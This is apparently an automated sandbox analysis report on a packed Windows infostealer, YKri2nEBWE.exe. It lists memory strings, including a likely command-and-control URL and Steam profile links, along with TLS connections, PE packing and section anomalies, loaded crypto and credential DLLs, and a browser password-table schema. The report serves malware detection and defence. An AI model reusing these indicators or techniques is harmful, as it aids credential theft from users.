Source: YKri2nEBWE.exe, 00000000.00000003.2326949332.000000000155D000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2282746044.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2283078885.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/api
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001532000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: YKri2nEBWE.exe, 00000000.00000003.2174597834.000000000152B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilte
Source: YKri2nEBWE.exe, 00000000.00000003.2283078885.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2282746044.000000000159C000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2283719723.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2284073141.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2309668421.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000002.2368577753.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2286941764.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2287405344.00000000015AA000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2327042056.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2366814829.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174533511.00000000015BC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2326949332.000000000159E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001532000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001532000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.000000000152C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: YKri2nEBWE.exe, 00000000.00000003.2174597834.000000000152B000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174533511.00000000015BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: YKri2nEBWE.exe, 00000000.00000003.2283078885.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2282746044.000000000159C000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2283719723.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2284073141.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2309668421.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000002.2368577753.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2286941764.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2287405344.00000000015AA000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2327042056.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2366814829.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.000000000152C000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174533511.00000000015BC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2326949332.000000000159E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: YKri2nEBWE.exe, 00000000.00000003.2257083014.00000000060FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: YKri2nEBWE.exe, 00000000.00000003.2257083014.00000000060FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: YKri2nEBWE.exe, 00000000.00000003.2176974679.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177049592.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177131102.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: YKri2nEBWE.exe, 00000000.00000003.2176974679.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177049592.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177131102.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: YKri2nEBWE.exe, 00000000.00000003.2257083014.00000000060FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: YKri2nEBWE.exe, 00000000.00000003.2257083014.00000000060FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: YKri2nEBWE.exe, 00000000.00000003.2257083014.00000000060FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: YKri2nEBWE.exe, 00000000.00000003.2257083014.00000000060FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: YKri2nEBWE.exe, 00000000.00000003.2257083014.00000000060FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: YKri2nEBWE.exe, 00000000.00000003.2257083014.00000000060FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49736 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: YKri2nEBWE.exe	Static PE information: section name:
Source: YKri2nEBWE.exe	Static PE information: section name: .rsrc
Source: YKri2nEBWE.exe	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_3_015A39D8	0_3_015A39D8
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_3_05DE6A56	0_3_05DE6A56
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C80460	0_2_00C80460
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C7C5A0	0_2_00C7C5A0
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C4E687	0_2_00C4E687
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C48600	0_2_00C48600
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C80D20	0_2_00C80D20
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C78EA0	0_2_00C78EA0
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C4CE45	0_2_00C4CE45
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C4B100	0_2_00C4B100
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C79280	0_2_00C79280
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C51227	0_2_00C51227
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C6D34A	0_2_00C6D34A
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C67440	0_2_00C67440
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C4F60D	0_2_00C4F60D
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C557C0	0_2_00C557C0
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C61D00	0_2_00C61D00
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00CD80CE	0_2_00CD80CE
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C6A0CA	0_2_00C6A0CA
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00CDA0C1	0_2_00CDA0C1
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00CBE0D5	0_2_00CBE0D5
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00DBC0C5	0_2_00DBC0C5
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C6C0E6	0_2_00C6C0E6
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00D9A0FB	0_2_00D9A0FB
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00DAC0FE	0_2_00DAC0FE
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C560E9	0_2_00C560E9
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00CD00FC	0_2_00CD00FC
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00D3C0EF	0_2_00D3C0EF
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C6C09E	0_2_00C6C09E
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00D360B2	0_2_00D360B2
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00CDC0AF	0_2_00CDC0AF
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00D760BB	0_2_00D760BB
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00CCE0BF	0_2_00CCE0BF
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00DA00AF	0_2_00DA00AF
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00D2E05D	0_2_00D2E05D
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00CDE05F	0_2_00CDE05F
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00D9C04C	0_2_00D9C04C
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00DD0077	0_2_00DD0077
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00CBC078	0_2_00CBC078
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00CC4079	0_2_00CC4079
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00DC4060	0_2_00DC4060
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00CEA018	0_2_00CEA018
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00D0A00D	0_2_00D0A00D
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00DB0006	0_2_00DB0006
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00D9E007	0_2_00D9E007
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00D6C03E	0_2_00D6C03E
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00D74024	0_2_00D74024
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00D62022	0_2_00D62022
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00D06028	0_2_00D06028
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00DA21DC	0_2_00DA21DC
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C681CC	0_2_00C681CC
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00CC81C0	0_2_00CC81C0
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00CD61D4	0_2_00CD61D4
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00CF81E4	0_2_00CF81E4

Source: YKri2nEBWE.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: YKri2nEBWE.exe

Static PE information: Section: ZLIB complexity 0.9995021446078431

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@11/2

Source: C:\Users\user\Desktop\YKri2nEBWE.exe

Code function: 0_2_00C72070 CoCreateInstance,

0_2_00C72070

Source: C:\Users\user\Desktop\YKri2nEBWE.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: YKri2nEBWE.exe, 00000000.00000003.2178127622.0000000005DF0000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177609713.0000000005E0B000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2227059079.0000000005E82000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2226640957.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: YKri2nEBWE.exe	Virustotal: Detection: 56%
Source: YKri2nEBWE.exe	ReversingLabs: Detection: 63%

Source: C:\Users\user\Desktop\YKri2nEBWE.exe

File read: C:\Users\user\Desktop\YKri2nEBWE.exe

Jump to behavior

Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: YKri2nEBWE.exe

Static file information: File size 2920448 > 1048576

Source: YKri2nEBWE.exe

Static PE information: Raw size of awkvfzgs is bigger than: 0x100000 < 0x29f200

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\YKri2nEBWE.exe

Unpacked PE file: 0.2.YKri2nEBWE.exe.c40000.0.unpack :EW;.rsrc :W;.idata :W;awkvfzgs:EW;nvoqryrp:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;awkvfzgs:EW;nvoqryrp:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: YKri2nEBWE.exe

Static PE information: real checksum: 0x2d7472 should be: 0x2cf054

Source: YKri2nEBWE.exe	Static PE information: section name:
Source: YKri2nEBWE.exe	Static PE information: section name: .rsrc
Source: YKri2nEBWE.exe	Static PE information: section name: .idata
Source: YKri2nEBWE.exe	Static PE information: section name: awkvfzgs
Source: YKri2nEBWE.exe	Static PE information: section name: nvoqryrp
Source: YKri2nEBWE.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_3_015A4F55 push esi; retf	0_3_015A4F58
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_3_015A4AD7 push FFFFFFDBh; iretd	0_3_015A4AE8
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_3_05DE61C0 push 00000030h; retf	0_3_05DE61C2
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C99840 push ebx; mov dword ptr [esp], 1F57A021h	0_2_00C9A518
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C99840 push edx; mov dword ptr [esp], ebx	0_2_00C9A531
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C9C0D1 push edi; mov dword ptr [esp], ebx	0_2_00C9C0D2
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00ED40DF push 6C9912C0h; mov dword ptr [esp], edi	0_2_00ED4102
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00E940D2 push esi; mov dword ptr [esp], ecx	0_2_00E9410E
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00E940D2 push edi; mov dword ptr [esp], edx	0_2_00E94126
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00E940D2 push edi; mov dword ptr [esp], ecx	0_2_00E941E8
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00D360B2 push 4B87F0F3h; mov dword ptr [esp], esi	0_2_00D36390
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00D360B2 push eax; mov dword ptr [esp], ebx	0_2_00D36401
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00D360B2 push esi; mov dword ptr [esp], 44865D87h	0_2_00D36430
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00D360B2 push ebp; mov dword ptr [esp], eax	0_2_00D364D2
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00D360B2 push ecx; mov dword ptr [esp], ebp	0_2_00D36521
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00D360B2 push esi; mov dword ptr [esp], ebx	0_2_00D3652F
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00D360B2 push 71B4DE71h; mov dword ptr [esp], ebp	0_2_00D365DD
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00D360B2 push ecx; mov dword ptr [esp], esp	0_2_00D365E1
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C9A0AC push edi; mov dword ptr [esp], eax	0_2_00C9A866
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C9C048 push edi; mov dword ptr [esp], edx	0_2_00C9C051
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C9C048 push 41087BD1h; mov dword ptr [esp], ecx	0_2_00C9C075
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C9C009 push ebp; mov dword ptr [esp], edx	0_2_00C9C5C3
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C9C009 push 3971463Dh; mov dword ptr [esp], edi	0_2_00C9E1D5
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C9C009 push ebp; mov dword ptr [esp], 33E7A24Dh	0_2_00C9E3DD
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C9C021 push 7D383EF2h; mov dword ptr [esp], esi	0_2_00C9CA90
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C9C021 push 3AA08D2Fh; mov dword ptr [esp], ebp	0_2_00C9CAB7
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C9C1CA push ebx; mov dword ptr [esp], 773DBF61h	0_2_00CA08D9
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C9A1DA push edi; mov dword ptr [esp], 1933D389h	0_2_00C9A1E9
